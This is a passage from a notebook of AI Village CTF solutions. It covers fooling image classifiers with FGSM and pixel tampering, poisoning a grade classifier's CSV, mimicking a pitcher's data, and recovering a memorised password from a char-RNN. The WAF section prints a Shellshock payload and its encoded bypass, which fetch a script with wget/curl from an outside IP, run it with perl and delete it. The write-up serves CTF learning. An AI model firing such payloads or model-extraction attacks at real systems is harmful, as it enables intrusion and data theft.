out[i][0] >=  0.09000001 and out[i][0] <= 0.11101002:\n        print(space[i], i , out[i][0])\n#print(i)","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:13:57.345170Z","iopub.execute_input":"2022-09-14T09:13:57.345607Z","iopub.status.idle":"2022-09-14T09:13:57.352607Z","shell.execute_reply.started":"2022-09-14T09:13:57.345572Z","shell.execute_reply":"2022-09-14T09:13:57.351322Z"},"jupyter":{"source_hidden":true},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# if you sort it will give TURNED\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"wifi\", \"submission\": \"FLAG{TURNED}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:13:57.966501Z","iopub.execute_input":"2022-09-14T09:13:57.967089Z","iopub.status.idle":"2022-09-14T09:13:58.607272Z","shell.execute_reply.started":"2022-09-14T09:13:57.967055Z","shell.execute_reply":"2022-09-14T09:13:58.606073Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"wifi\", \"GXEFLQEN3AJEI6MFM961QAFSGREMWUK7PQ5A05BGKDVMY2T4TM0D26DF1LTF6LPC5FGFM49URFF9JZ}6RJM2GEWHLK6E8UW81G9GOK80U1{A6YXBSX30G750EPOUXB6\")","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:13:58.728869Z","iopub.execute_input":"2022-09-14T09:13:58.729277Z","iopub.status.idle":"2022-09-14T09:13:58.740662Z","shell.execute_reply.started":"2022-09-14T09:13:58.729231Z","shell.execute_reply":"2022-09-14T09:13:58.739591Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# HOTTERDOG (id: hotterdog) -- 400 Points\n\n### Scenario\n\nChester submitted himself in the \"most creative hotdog\" contest. They use machine vision to score the hotdogs, but oh no he already submitted his headshot.\n\n### Objective\n\nHelp Chester classify as a hotdog, but it has to look like Chester to a human. Modify his picture to fool a classifier.\n\n\n###  solution\n\nin this i used  Fast Gradient Signed Method (FGSM) attack  \n\n there are many categories of adversarial attacks, each with a different goal and assumption of the attacker’s knowledge. However, in general the overarching goal is to add the least amount of perturbation to the input data to cause the desired misclassification. There are several kinds of assumptions of the attacker’s knowledge, two of which are: white-box and black-box. A white-box attack assumes the attacker has full knowledge and access to the model, including architecture, inputs, outputs, and weights. A black-box attack assumes the attacker only has access to the inputs and outputs of the model, and knows nothing about the underlying architecture or weights. There are also several types of goals, including misclassification and source/target misclassification. A goal of misclassification means the adversary only wants the output classification to be wrong but does not care what the new classification is. A source/target misclassification means the adversary wants to alter an image that is originally of a specific source class so that it is classified as a specific target class.\n\nIn this case, the FGSM attack is a white-box attack with the goal of misclassification. With this background information, we can now discuss the attack in detail.\n\n\n\n\nFast Gradient Signed Method (FGSM) attack as described in Explaining and Harnessing Adversarial Examples by Goodfellow et al. This was one of the first and most popular attacks to fool a neural network.\n\nThe fast gradient sign method works by using the gradients of the neural network to create an adversarial example. For an input image, the method uses the gradients of the loss with respect to the input image to create a new image that maximises the loss. This new image is called the adversarial image. This can be summarised using the following expression:\n$$adv\\_x = x + \\epsilon*\\text{sign}(\\nabla_xJ(\\theta, x, y))$$\n\nwhere \n\n*   adv_x : Adversarial image.\n*   x : Original input image.\n*   y : Original input label.\n*   $\\epsilon$ : Multiplier to ensure the perturbations are small.\n*   $\\theta$ : Model parameters.\n*   $J$ : Loss.\n\n\nthe code is not on this notebook\nbut also the same task is solveable by same code on theaft task  in this notebook\nso jump to it to get the code of Harnessing Adversarial attack","metadata":{}},{"cell_type":"code","source":"# Submission Helper\n\nIMAGE_DIMS = (224, 224)\n\nimg = Im.open('../input/ai-village-ctf/secret.sloth/secret-sloth.png')\nimg = img.resize(IMAGE_DIMS)\nimg_bytes = img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ntry:\n    r = requests.post(\"https://hotterdog.fly.dev/score\", data=json.dumps({\"input\": b64_img_bytes.decode()}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"hotterdog\", \"K34Z31OV3QS6OUUPO8NL5TXFH4K0IDRN6{NUQXY5U1G1DSICRSLD4T051ZNUB3XF}UHQR2NOO5HTCGGBUUMHGAYPZPGRASRADUAEF5EOOT4OLBG7JTC2PCTVH29FO6F9\")","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Honorstudent (id: honorstudent) -- 300 Points\n\n### Scenario\n\nLook at your report card! That's an F. You won't be able to go to homecoming with that grade. Can you use some carefully placed whiteout to fool your parents into thinking it's an A?\n\n### Objective\n\nModify and submit your tampered `f.png`. Be careful to not overdo it!\n\n\n### Solution\nafter checking it \n1. it must by grayscale image or  the system will refuse it as tampered\n2. you must balance between F and A  ===> wait balance why not just add image of A into image of F ? lets try !!\n","metadata":{}},{"cell_type":"code","source":"Ima(filename=f'{dir_name}/honorstudent/f.png')\n\n","metadata":{"execution":{"iopub.status.busy":"2022-09-13T07:28:46.568621Z","iopub.execute_input":"2022-09-13T07:28:46.570096Z","iopub.status.idle":"2022-09-13T07:28:46.584142Z","shell.execute_reply.started":"2022-09-13T07:28:46.570031Z","shell.execute_reply":"2022-09-13T07:28:46.583055Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"\nimport cv2\n\nim_size = 28\nch = 1\ndef generate_empty_image():\n\n    return np.zeros(shape=(im_size,im_size ), dtype=np.int16)\n\nblank = generate_empty_image()\nimage = cv2.putText(blank, text='A', org=(13, 20), fontFace=cv2.FONT_HERSHEY_TRIPLEX, fontScale=0.8, color=(255),thickness=1)\n\ncv2.imwrite('AA.png',image )\nIma(filename='./AA.png')\n","metadata":{"execution":{"iopub.status.busy":"2022-09-13T07:28:46.795497Z","iopub.execute_input":"2022-09-13T07:28:46.795909Z","iopub.status.idle":"2022-09-13T07:28:46.846534Z","shell.execute_reply.started":"2022-09-13T07:28:46.795873Z","shell.execute_reply":"2022-09-13T07:28:46.845325Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"x =  f'{dir_name}/honorstudent/f.png'  #location of the image\noriginal = cv2.imread(x)\noriginal = cv2.cvtColor(original, cv2.COLOR_BGR2GRAY)\nplt.imshow(original)\n \n# display that image\nplt.show()","metadata":{"execution":{"iopub.status.busy":"2022-09-13T07:28:47.037378Z","iopub.execute_input":"2022-09-13T07:28:47.038433Z","iopub.status.idle":"2022-09-13T07:28:47.241700Z","shell.execute_reply.started":"2022-09-13T07:28:47.038390Z","shell.execute_reply":"2022-09-13T07:28:47.240328Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"dd = image[:,:] +  original[:,:]\nplt.imshow(  dd)\ncv2.imwrite('dd.png',dd )\nIma(filename='./dd.png')","metadata":{"execution":{"iopub.status.busy":"2022-09-13T07:28:47.261108Z","iopub.execute_input":"2022-09-13T07:28:47.261902Z","iopub.status.idle":"2022-09-13T07:28:47.455125Z","shell.execute_reply.started":"2022-09-13T07:28:47.261861Z","shell.execute_reply":"2022-09-13T07:28:47.454280Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"with open('dd.png', \"rb\") as f:\n    #print(f)\n    try:\n        r = requests.post(\"https://honorstudent.fly.dev/score\", files={\"data_file\": f})\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-13T07:28:48.478735Z","iopub.execute_input":"2022-09-13T07:28:48.479833Z","iopub.status.idle":"2022-09-13T07:28:48.961876Z","shell.execute_reply.started":"2022-09-13T07:28:48.479791Z","shell.execute_reply":"2022-09-13T07:28:48.961075Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"honorstudent\", \"DBSHVPQPR5ZLKTGO0D0ATS9MSDTUPGD3DIB5KD76IE9O}G1WN50OQKI5A7OPBLAET2ALKPMM6YGEC1SFE1N098JZC6{9M2VEH24MCIYBFX0PTSMIF0A0SUCMZ25FZ1LR\")","metadata":{"execution":{"iopub.status.busy":"2022-09-13T07:29:01.421586Z","iopub.execute_input":"2022-09-13T07:29:01.422585Z","iopub.status.idle":"2022-09-13T07:29:01.432875Z","shell.execute_reply.started":"2022-09-13T07:29:01.422542Z","shell.execute_reply":"2022-09-13T07:29:01.431692Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Secret Sloth (id: sloth) -- 400 Points\n\n### Scenario\n\nThe sloth in `secret.sloth/secret-sloth.png` has a very cool hat... and a secret message for you. The message is your flag.\n\n### Objective \n\nThe flag is in the image somewhere; as always, look for `FLAG{something}`\n\n### my trails\ni have try many things , the nearst one to solution was to subtract from orginal image that i get by doing google image search where it will take you to orginal image of the solth\n\nwill show you the results\n\n### the   solution \nis from @chris  https://www.kaggle.com/competitions/ai-village-ctf/discussion/351806","metadata":{}},{"cell_type":"code","source":"# orginal image https://external-preview.redd.it/y3cLo3FLcXkUtNxCvr_BeN8wrD6plmCvNwiRnKP8dxY.png","metadata":{"execution":{"iopub.status.busy":"2022-09-17T22:26:50.983257Z","iopub.execute_input":"2022-09-17T22:26:50.983740Z","iopub.status.idle":"2022-09-17T22:26:50.989468Z","shell.execute_reply.started":"2022-09-17T22:26:50.983699Z","shell.execute_reply":"2022-09-17T22:26:50.988492Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import fftpack\n\nim = plt.imread(f\"../input/ai-village-ctf/secret.sloth/secret-sloth.png\").astype(float)\nim_fft = fftpack.fft2(im)\nplt.imshow(np.abs(im_fft))","metadata":{"execution":{"iopub.status.busy":"2022-09-17T22:28:46.355964Z","iopub.execute_input":"2022-09-17T22:28:46.356430Z","iopub.status.idle":"2022-09-17T22:28:46.745633Z","shell.execute_reply.started":"2022-09-17T22:28:46.356384Z","shell.execute_reply":"2022-09-17T22:28:46.744549Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"sloth\", \"submission\": \"TEST\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-12T03:17:33.594543Z","iopub.execute_input":"2022-08-12T03:17:33.59565Z","iopub.status.idle":"2022-08-12T03:17:33.804976Z","shell.execute_reply.started":"2022-08-12T03:17:33.595614Z","shell.execute_reply":"2022-08-12T03:17:33.803977Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"sloth\", \"YOURFLAGHERE\")","metadata":{"execution":{"iopub.status.busy":"2022-08-12T03:17:33.806393Z","iopub.execute_input":"2022-08-12T03:17:33.806944Z","iopub.status.idle":"2022-08-12T03:17:33.816635Z","shell.execute_reply.started":"2022-08-12T03:17:33.806909Z","shell.execute_reply":"2022-08-12T03:17:33.815367Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Bad to Good (id: bad_to_good) -- 300 Points\n\n### Scenario\n\nYou can’t buy a homecoming ticket if you get classified as a “good student”. Can you help Henry poison the classifier? He can only access one of four classes grades, but he can influence the everyone in the class.\n\n### Objective\n\nModify and submit your tampered `csv`. Try and get Henry classified as a good student. Be careful to not overdo it!\n\n\n### solution \nthe idea is to check the corrletion between features and the score and try to add or subtract and scale   untile get the right socre\n\n####  Demerits     have  negtive impact  mean the lower it get it can give us higher score\n#### also absences  have fraction of good impact on the score \n#### can we get the score we want with canging olny (Demerits    and Absences      )  ????","metadata":{"execution":{"iopub.status.busy":"2022-07-06T18:06:36.224662Z","iopub.execute_input":"2022-07-06T18:06:36.22512Z","iopub.status.idle":"2022-07-06T18:06:36.324329Z","shell.execute_reply.started":"2022-07-06T18:06:36.225025Z","shell.execute_reply":"2022-07-06T18:06:36.322661Z"}}},{"cell_type":"markdown","source":"","metadata":{}},{"cell_type":"code","source":"import pandas as pd\ndff = pd.read_csv('../input/ai-village-ctf/bad2good/math.csv')\ndff\n","metadata":{"execution":{"iopub.status.busy":"2022-09-12T10:38:16.294780Z","iopub.execute_input":"2022-09-12T10:38:16.295820Z","iopub.status.idle":"2022-09-12T10:38:16.317529Z","shell.execute_reply.started":"2022-09-12T10:38:16.295777Z","shell.execute_reply":"2022-09-12T10:38:16.316236Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"dff.corrwith(dff[\"Score\"])","metadata":{"execution":{"iopub.status.busy":"2022-09-12T10:38:16.976290Z","iopub.execute_input":"2022-09-12T10:38:16.976679Z","iopub.status.idle":"2022-09-12T10:38:16.987798Z","shell.execute_reply.started":"2022-09-12T10:38:16.976649Z","shell.execute_reply":"2022-09-12T10:38:16.986854Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"#### as you can see Demerits     have  negtive impact  mean the lower it get it can give us higher score\n#### also absences  have fraction of good impact on the score \n#### can we get the score we want with canging olny (Demerits    and Absences      )","metadata":{}},{"cell_type":"code","source":"#after few try  i get to do it like this\ndff['Absences'] = dff['Absences'] - 70\ndff['Absences'] = dff['Absences'] - 70\n\ndff['Demerits'] = dff['Demerits'] - 70\ndff","metadata":{"execution":{"iopub.status.busy":"2022-09-12T10:38:19.393124Z","iopub.execute_input":"2022-09-12T10:38:19.393542Z","iopub.status.idle":"2022-09-12T10:38:19.411508Z","shell.execute_reply.started":"2022-09-12T10:38:19.393509Z","shell.execute_reply":"2022-09-12T10:38:19.410565Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"\n \ndff.to_csv('bad2good-negd-negabs.csv' , index=False)\n# Submission Helper\n\nwith open('./bad2good-negd-negabs.csv', \"r\") as f:\n    try:\n        r = requests.post(\"https://bad2good.fly.dev/score\", files={\"data_file\": f})\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T10:38:22.136015Z","iopub.execute_input":"2022-09-12T10:38:22.136440Z","iopub.status.idle":"2022-09-12T10:38:22.367714Z","shell.execute_reply.started":"2022-09-12T10:38:22.136407Z","shell.execute_reply":"2022-09-12T10:38:22.366566Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"bad_to_good\", \"wtTpWF8Rh85DXDQMnS9NKYK4FX4P28JQ4UZE15DXD_ZH87CASHYN9YDt6QLANPR_AQZXG9BeH9JAQOaEXVU8}bBL32CY7K4GoE1135V2ALLUC5_X29F5BDdGZ{FSJE64\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T10:38:34.376183Z","iopub.execute_input":"2022-09-12T10:38:34.376613Z","iopub.status.idle":"2022-09-12T10:38:34.386600Z","shell.execute_reply.started":"2022-09-12T10:38:34.376576Z","shell.execute_reply":"2022-09-12T10:38:34.385620Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Inference (id: inference) -- 400 Points\n\n### Scenario\n\nModel model on the wall, who is the fairest of them all?\n\n?gnidaer llits uoy era yhW .uoy htiw skcans thguorb ev'dluohs uoY .skcans rof pots t'noD .won oG .tsaf oG .niW .galf eht teG .ledom eht esreveR\n\n### Objective\n\nRetrieve the images that spell the flag. Wrap any text in `FLAG{}`\n\n**If you need a hint, there's a guy named `moo` somewhere.**","metadata":{}},{"cell_type":"code","source":"# To play the challenge\n\nx = np.random.uniform(0, 1, (1, 32, 32, 1))\n\ntry:\n    response = requests.post(\"https://inference.fly.dev/score\", data = json.dumps({\"input\": x.tolist()}))\n    print(response.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-12T03:17:34.089178Z","iopub.execute_input":"2022-08-12T03:17:34.090029Z","iopub.status.idle":"2022-08-12T03:17:34.30466Z","shell.execute_reply.started":"2022-08-12T03:17:34.089967Z","shell.execute_reply":"2022-08-12T03:17:34.303168Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# To try and get the flag\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"inference\", \"submission\": \"TEST\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-12T03:17:34.307231Z","iopub.execute_input":"2022-08-12T03:17:34.307699Z","iopub.status.idle":"2022-08-12T03:17:34.514485Z","shell.execute_reply.started":"2022-08-12T03:17:34.307654Z","shell.execute_reply":"2022-08-12T03:17:34.513221Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"inference\", \"YOURFLAGHERE\")","metadata":{"execution":{"iopub.status.busy":"2022-08-12T03:17:34.516255Z","iopub.execute_input":"2022-08-12T03:17:34.516605Z","iopub.status.idle":"2022-08-12T03:17:34.52752Z","shell.execute_reply.started":"2022-08-12T03:17:34.516576Z","shell.execute_reply":"2022-08-12T03:17:34.526017Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Baseball  (id: baseball) -- 300 Points\n\n### Scenario\n\nHenry has to miss baseball tryouts to get ready for his date. Can you cover for him? Henry is a pitcher and the team uses software to analyze pitch patterns to classify pitchers. \n\n### Objective\n\nThrow 15 pitches at x,y (each bounded on [0,29]). Check out `test_pitch.json` to see the expected format. Can you throw 15 pitches to get classified as Henry?\n\n### Solution\nit all about the pattren of our target hanrry , where he mostly  throw the ball\nif it is grid we have (lower left , center left , upper left  , lower center , upper center , lower right , center right , upper right )\nalso dont forget is our player with time increase going to be more focsued  or weeker and will throw balls away\nbut our main idea is to make the majorty of data in scpefice place\nmostly ot related to both (good 2 bad , all math problmes ) you must understand by now what clustering \nand can by eye see some pattrens from what data you have .. so can you breing new pattren that make the model predict you as hanrry \ni found after few try place between upper middle and middle of middle is hannry place .. and add some noise (few throws that not related to hannry to make sure sending some realstic data \n","metadata":{}},{"cell_type":"code","source":"import pandas as pd\nimport json\nbasball = json.loads(open(f\"{dir_name}/baseball/test_pitch.json\").read())\ndf = pd.DataFrame(basball)\nprint (df)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T07:33:27.551600Z","iopub.execute_input":"2022-09-12T07:33:27.552019Z","iopub.status.idle":"2022-09-12T07:33:27.581743Z","shell.execute_reply.started":"2022-09-12T07:33:27.551986Z","shell.execute_reply":"2022-09-12T07:33:27.580401Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"dff = pd.DataFrame.from_dict({'x':[1,6,0,3,3,29,13,13,12,4,2,1,28,28,29],\n'y':[2,4,4,14,12,4,1,0,17,4,26,27,28,29,29]\n})\ndff.plot.scatter(x='x', y='y')","metadata":{"execution":{"iopub.status.busy":"2022-09-12T07:34:05.165996Z","iopub.execute_input":"2022-09-12T07:34:05.166421Z","iopub.status.idle":"2022-09-12T07:34:05.419071Z","shell.execute_reply.started":"2022-09-12T07:34:05.166387Z","shell.execute_reply":"2022-09-12T07:34:05.417289Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"\n\nthroww = {\n    'pitches':\n    [\n         {'x': 15, 'y': 18}\n,     {'x': 16, 'y': 19}\n,     {'x': 17, 'y': 16}\n,    {'x': 14, 'y': 17}\n,    {'x': 13, 'y': 21}\n,    {'x': 18, 'y': 11}\n,    {'x': 19, 'y': 10}\n,    {'x': 10, 'y': 13}\n,   {'x': 11, 'y': 17}\n,     {'x': 17, 'y': 13}\n,  {'x': 10, 'y':20}\n,   {'x': 15, 'y': 14}\n, {'x': 14, 'y': 16}\n,  {'x': 16, 'y': 17}\n,  {'x': 17, 'y': 11}\n    ]\n}\n \njson_object = json.dumps(throww, indent = 4) \n#print(json_object)\nwith open(\"tryhry.json\", \"w\") as outfile:\n    outfile.write(json_object)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T07:57:06.163280Z","iopub.execute_input":"2022-09-12T07:57:06.163687Z","iopub.status.idle":"2022-09-12T07:57:06.172617Z","shell.execute_reply.started":"2022-09-12T07:57:06.163652Z","shell.execute_reply":"2022-09-12T07:57:06.171647Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"dff = pd.DataFrame.from_dict({'x':[15, 16 , 17 , 14\n,13 , 18 , 19 , 10 , 11,\n17 , 10 , 15 , 14 , 16 , 17],\n'y':[18 , 19 , 16, 17, 21, 11, 10, 13,17, 13,20, 14,16, 17,11]\n})\ndff.plot.scatter(x='x', y='y')\n\n\n   ","metadata":{"execution":{"iopub.status.busy":"2022-09-12T07:57:09.702481Z","iopub.execute_input":"2022-09-12T07:57:09.703167Z","iopub.status.idle":"2022-09-12T07:57:09.906787Z","shell.execute_reply.started":"2022-09-12T07:57:09.703119Z","shell.execute_reply":"2022-09-12T07:57:09.905454Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nwith open(\"tryhry.json\", \"r\") as f:\n    test = json.load(f)\n\ntry:\n    r = requests.post(\"https://bball.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T07:57:13.063285Z","iopub.execute_input":"2022-09-12T07:57:13.064217Z","iopub.status.idle":"2022-09-12T07:57:13.402055Z","shell.execute_reply.started":"2022-09-12T07:57:13.064178Z","shell.execute_reply":"2022-09-12T07:57:13.400510Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"baseball\", \"JFLWHEE9P65S3TNO7ROREKO5WGLXF483AHAGC8MQJ7J{AOIVGRVI5Y8M6LODIPFBEB88U87RSWJG}5MNTGUT2AQWGCLHMO39L3UUDWEJDPNWUAXTERS0X5FWF27UXMU0\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T07:57:22.273429Z","iopub.execute_input":"2022-09-12T07:57:22.274263Z","iopub.status.idle":"2022-09-12T07:57:22.303056Z","shell.execute_reply.started":"2022-09-12T07:57:22.274206Z","shell.execute_reply":"2022-09-12T07:57:22.302010Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# WAF (id: waf) -- 500 Points\n\n### Scenario\n\nA ML model has been built to detect a 0-day. This model is used by a Web Application Firewall to block malicious requests.\n\n### Objective\n\nThe goal of the challenge is to discover what the 0-day is by what it is blocking, and then bypass the WAF to exploit the system.\n\nPS: The WAF assesses malicious strings in 5 characters blocks.\n\n### Solution\nfirst   since we have  some hint which is the given input example is  related somehow to the 0day (mFzaC==)  let try first to search for exploit with this value\nfrom here\nhttps://www.exploit-db.com/search?text=mFzaC\n\nnow as you see the orginal input is from basecode64 of\n>>> bash -i ==> 'YmFzaCAtaQ=='\n\nlet think about it   if mean it about RCE\nwe have now narrow down the search area ... \nafter i try many things  .. i get stoped by why not try to do  famous  (  Shellshock )\nso i carfted this exploite\n>> () { :;}; /bin/bash -c \\\"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\\\"\n\nand my bypass was \n\n\n$U() { :;};$U /bin/bash -c \\\"cd /tmp;wget http://213.12.11.1/ji;curl -O /tmp/ji http://213.12.11.1/ji ; perl /tmp/ji;rm -rf /tmp/ji\\\"\n\nand it work\n### Ref\nhttp://ceur-ws.org/Vol-1525/paper-15.pdf  \n","metadata":{"execution":{"iopub.status.busy":"2022-07-25T14:57:01.386134Z","iopub.execute_input":"2022-07-25T14:57:01.38663Z","iopub.status.idle":"2022-07-25T14:57:01.39651Z","shell.execute_reply.started":"2022-07-25T14:57:01.386588Z","shell.execute_reply":"2022-07-25T14:57:01.394443Z"}}},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nimport base64\n# the bypass is\n#  $U() { :;};$U /bin/bash -c \\\"cd /tmp;wget http://213.12.11.1/ji;curl -O /tmp/ji http://213.12.11.1/ji ; perl /tmp/ji;rm -rf /tmp/ji\\\"\n\ninput = \"JFUoKSB7IDo7fTskVSAvYmluL2Jhc2ggLWMgXCJjZCAvdG1wO3dnZXQgaHR0cDovLzIxMy4xMi4xMS4xL2ppO2N1cmwgLU8gL3RtcC9qaSBodHRwOi8vMjEzLjEyLjExLjEvamkgOyBwZXJsIC90bXAvamk7cm0gLXJmIC90bXAvamlcIg==\"\ndata = json.dumps(\n    {\"input\": input}\n)\n\ntry:\n    r = requests.post(\"https://waf.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:16:15.411749Z","iopub.execute_input":"2022-09-14T09:16:15.412287Z","iopub.status.idle":"2022-09-14T09:16:16.327524Z","shell.execute_reply.started":"2022-09-14T09:16:15.412224Z","shell.execute_reply":"2022-09-14T09:16:16.326017Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"waf\", \"LU6W8RMD8R2YRSTO50Z56YVRFTR6MCXIYB17FLJQ0DIUULC4IIUIHD1AKHL28{Z3KFZZ80GEYRAQ50NAYH0SIKV5WOF0REKWFWA}V7518AJI3TIINQR0ZFPPEQL7PYM3\")","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:16:19.474232Z","iopub.execute_input":"2022-09-14T09:16:19.474654Z","iopub.status.idle":"2022-09-14T09:16:19.486183Z","shell.execute_reply.started":"2022-09-14T09:16:19.474623Z","shell.execute_reply":"2022-09-14T09:16:19.484887Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Excuse me, your training data is leaking (id: leakage) -- 200 Points\n\n### Scenario\n\nWhile digging around a poorly secured S3 bucket, you found an old version of a pretrained char-RNN model (`leakage/pretrained_model.pt`). The scripts in the same bucket suggest that -- in addition to doorstop Russian literature -- it was accidentally trained on a whole load of system files, including an unencrypted password file!  Those files aren't around anymore, but you've got the model weights, and you've found an old myspace login: \"xXx_SkynetKilla_xXx\" (they were 13 at the time, and would rather forget the whole thing, thank you very much). Can you recover their password?\n\nThe following code should allow you to load the model and featurize a string for use in the model.\n```python\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nclass LM(nn.Module):\n    def __init__(self):\n        super(LM, self).__init__()\n        self.E = nn.Embedding(256, 32)\n        self.LSTM = nn.LSTM(32,128, 2, batch_first=True, dropout=.1)\n        self.predict = nn.Sequential(\n            nn.Linear(128, 128),\n            nn.LayerNorm(128),\n            nn.ELU(),\n            nn.Linear(128, 256)\n        )\n    def forward(self, x):\n        h = self.E(x)\n        h = self.LSTM(h)[0][:,-1,:]\n        h = self.predict(h)\n        return h\n\ndef featurize(s):\n    return torch.Tensor([[int(ord(x)) for x in s]]).long()\n\nmodel = LM()\nmodel.load_state_dict(torch.load(\"pretrained_model.pt\"))\n```\n\n\n### Objective\n\nThe password is your flag, as usual it is in the format `FLAG{something}`\n\n### Solution\nif you understand how to build next charcter prediction with RNN/LSTM/GRU  then it clearly wen need to fix the farword cell to get it predict next charcter \nand itreativly get the flag by adding each new charcter predicted to input and remove charcter from the left of the input\n\n### Ref\nhttps://machinelearningmastery.com/text-generation-lstm-recurrent-neural-networks-python-keras/\n","metadata":{}},{"cell_type":"code","source":"import torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nclass LM(nn.Module):\n    def __init__(self):\n        super(LM, self).__init__()\n        self.E = nn.Embedding(256, 32)\n        self.LSTM = nn.LSTM(32,128, 2, batch_first=True, dropout=.1)\n        self.predict = nn.Sequential(\n            nn.Linear(128, 128),\n            nn.LayerNorm(128),\n            nn.ELU(),\n            nn.Linear(128, 256)\n        )\n        self.softmax = nn.LogSoftmax(dim=1)\n    def forward(self, x):\n        h1 = self.E(x)\n        outls , hedin = self.LSTM(h1)\n        #h2 = self.LSTM(h1)[0][:,-1,:]\n        h = self.predict(outls)\n        #x = self.E(h.int())\n        return  h #hedin#{ 'h2' : h2 , 'h': h , 'h1' : h1 , 'lstm' : outls }\n\ndef featurize(s):\n    return torch.Tensor([[int(ord(x)) for x in s]]).long()\n\nmodel = LM()\nmodel.load_state_dict(torch.load(\"../input/ai-village-ctf/leakage/pretrained_model.pt\"))","metadata":{"execution":{"iopub.status.busy":"2022-09-12T08:12:46.887812Z","iopub.execute_input":"2022-09-12T08:12:46.888772Z","iopub.status.idle":"2022-09-12T08:12:46.942571Z","shell.execute_reply.started":"2022-09-12T08:12:46.888720Z","shell.execute_reply":"2022-09-12T08:12:46.941679Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#let difne the keyspace\nimport string\n\nall_letters = string.ascii_letters + \" 